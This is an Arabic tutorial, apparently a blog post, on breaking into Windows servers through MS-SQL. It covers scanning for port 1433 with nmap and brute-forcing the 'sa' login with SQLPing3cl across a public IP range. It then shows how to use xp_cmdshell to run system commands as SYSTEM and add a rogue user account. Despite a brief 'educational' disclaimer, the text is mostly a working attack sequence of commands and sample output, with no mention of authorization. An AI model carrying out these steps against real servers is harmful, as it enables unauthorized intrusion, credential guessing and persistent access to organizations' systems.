نعلم جيدا أن غالبية الشركات و المؤسسات في دولنا تستعمل تضع شبكاتها الحاسبوية على سرفرات من نوع وينداوز IIS
ليس محبة في الوينداوز و كرها في اللينيكس و انما لتوفر الدعم المتواصل لبرامج الوينداوز و توفرها ايضا على واجهات رسومية للتحكم في أغلب برامجها بدون الحاجة الى خبرة كبيرة و المام بجميع الأوامر الضرورية
طبعا المختبر الأمني قد يكون بشكل يكاد يكون دائم امام مهمة فحص هاته السرفرات و برامجها
اليوم سوف نتطرق باذن الله الى اختبار المستوى الأمني لقواعد بيانات MS-SQL و أهم المراح التي تمر بها عملية اختراق سرفر وينداوز من خلال قواعد البينات
الأمر سيحتاج الذكاء و كذلك الحظ في بعض الأحيان
ملاحضة قبل بدأ الشرح: الشرح أدناه تعليميو توجيهي و ليس غايته التخريب…لذا فكل بما نوى و الله أعلم بالنوايا
قبل الدخول في السرد اريد التنويه بأن الشرح ينطبق على الشبكات الداخلية و كذلك شبكات الإنترنت web server
…لمن يريد تطبيق الإختبار على سرفر ويب فعملية الإتصال بقواعد البيانات بسيطة و ممكنة عن طريق العميل OSQL المتوفر مجانا و يمكن تحميله من موقع ميكروسوفت مع الحزمة MSDE
أمر الإتصال بقواعد البيانات عن طريق الأداة هو.
osql.exe /S ip_server|name_server /U User_Name /P pass_word
-1 إيجاد سرفر MS-SQL
بشكل افتراضي فقواعد بيانات MS-SQL تستعمل المنافذ
TCP/1433
UDP/1434
برنامج NMAP سوف يمكننا من ايجاد قواعد البيانات على حزمة عنوين IP معينة عن طريق الأمر
nmap -v -sV -sS -p 1433 -oN NMAP_MS-SQL.txt 172.16.0.0/16
أو الأمر:
nmap -sV -sS -p 1433 172.16.0.0/16 | grep “open” -B 3 > nmap_mssql_list.txt
هذه الطريقة بسيطة و محدودة النتائج باعتبار أن معظم مدراء السرفرات يقومون بتغيير المنافذ الإفتراضية بشكل بديهي للضرورات الأمنية
و بالتالي سوف نحتاج الى اضافة متقدمة أكثر تمكننا من التعرف أكثر على مواصفات قاعدة البيانات و أدق المعلومات حولها
يوجد الكثير من الأدوات الخاصة بهذا الأمر و لكني أفضل من بينها أداة SQLRecon لخفتها و نجاعتها
الهدف من العملية هو التعرف على رقم اصدار قاعدة البيانات و آخر تحديث لها و بالتالي سوف نلعب على جانب الثغرات
في حالة توفر اصدار مصاب بثغرة أمنية قان الأمر سيتوقف هنا و سوف نقوم باستغلال الثغرة و السيطرة على السرفر و التلاعب بجداول القاعدة و تنفيذ أوامر على السرفر
-2 القواعد المرقاة و التي تعمل بأحدث نسخة
السؤال الذي يطرح نفسه هنا: اذا لم يتوفر اصدار قديم للقاعدة و مدير السرفر قام بتحديث النسخة لآخر اصدار
هنا سوف يأتي دور ذكاء المختبر و مدة جهوزيته لتلافي الإشكال
من جهتي فلديا طريقة قد تكون ناجعة و لكل مختبر رايته ووجهة نظره
لنفترض أنه هنالك قاعدة بيانات MS-SQL باسم مستخدم admin او administrator …طبعا يمكن معرفة اسم المستخدم من خلال تهييج اي تطبيق يعمل على قاعدة بيانات ففي حالة سرفر الويب مثلا يمكن معرفة اسم المستخدم من خلال رسائل الخطأ على اي موقع من المواقع الموجودة على السرفر او من خلال التنصت على المنفذ الخاص بالقاعدة
و هان سوف تكون كلمة المرور هي الإفتراضية admin في غالب الأحيان
نفترض أن اليوزر و كلمة المرور ليس الإفتراضية
الآن سوف نستعين بأداة SQLPing3cl هذه الأداة التي تقوم بتخمين كلمات المرور الأكثر شيوعا في قواعد البيانات
بعد فك الضغط على الأداة على سطح المكتب بالفرنسية = Bureau
نفتح موجه الأوامر الخاص بالوينداوز windows+R
نستدعي سطح المكتب cd Bureau او cd Desktop
ثم نقوم بنفيذ الأمر التالي:
SQLPing3cl.exe -scantype range -StartIP 212.102.1.1 -EndIP 212.102.12.212 UserList user.txt PassList pass.txt -OutPut result.txt
StartIP= ايبي انطلاق الفحص
EndIP= ايبي نهاية الفحص
user.txt = ملف يحتوي على أسماء المستخدمين الأكثر شيوعا لتخمينها
pass.txt = ملف يحتوي على كلمات المرور الأكثر شيوعا لتخمينها
result.txt = نتيجة الفحص و تكون كالتالي:
172.XXX.XXX.XXX,1433,NOM_Serveur,MSSQLSERVER,8.00. 194,8.0.766,8.00.760,,No,(UDP)ServerName;NOM_Serve ur;InstanceName;MSSQLSERVER;IsClustered;No;Version ;8.00.194;tcp;1433;np;\\Nom_Serveur\pipe\sql\query ;; (SA)Server present but blank SA login failed (BruteForce)**** Brute force attempt successful! User:sa Pass:sa ****,UDP TCP SA BruteForce
بعد الإطلاع على النتيجة تبين توفر قاعدة بيانات باسم مستخدم sa و كلمة مرور sa
الآن لم يتبق لنا سوى الاتصال بالقاعدة و التنزه بين جداولها
-3 اختراق السرفر
افتراضيا فان قاعدة البيانات MS-SQL مترابطه مع Local System. و بالتالي فمن خلالها يمكن تنفيذ أوامر على السرفر بكل حرية بتخويل الصلاحية NT AUTHORITY/SYSTEM
افتراضيا MS-SQL يحتوي على الإجراءات المخزنة stock procedure التي تمكنا من تنفيذ أوامر على النظام باستعمال الأداة xp_cmdshell
عملية الإتصال تتم عن طريق تنفيذ الأمر
> xp_cmdshell ‘ipconfig’
> go
اذا لم يتوفر خطأ مثل الصورة أدناه يمكن اذا المرور للمرحلة التالية
اذا لم تكن الخاصية مفعلة فيمكن تفعيلها مثل ماهو مبين في الصورة أدناه
عملية الهجوم الآن سوف تكون بفتح حساب على النطاق المستهدف
> xp_cmdshell ‘net user mohamad mohamed_pass /add’
> go
عملية الـتأكد عن طريق الأمر
> xp_cmdshell ‘net user’
> go
للنفاذ للحساب نستخدم الأمر
c:\>osql.exe /S 192.168.0.12 /U sa /P BDD_PASS /i SQLvulscan.sql
ان شاء الله يكون الشرح قد نال اعجابكم
ulg hojfhv Hlkd pentest gr,hu] fdhkhj MS-SQL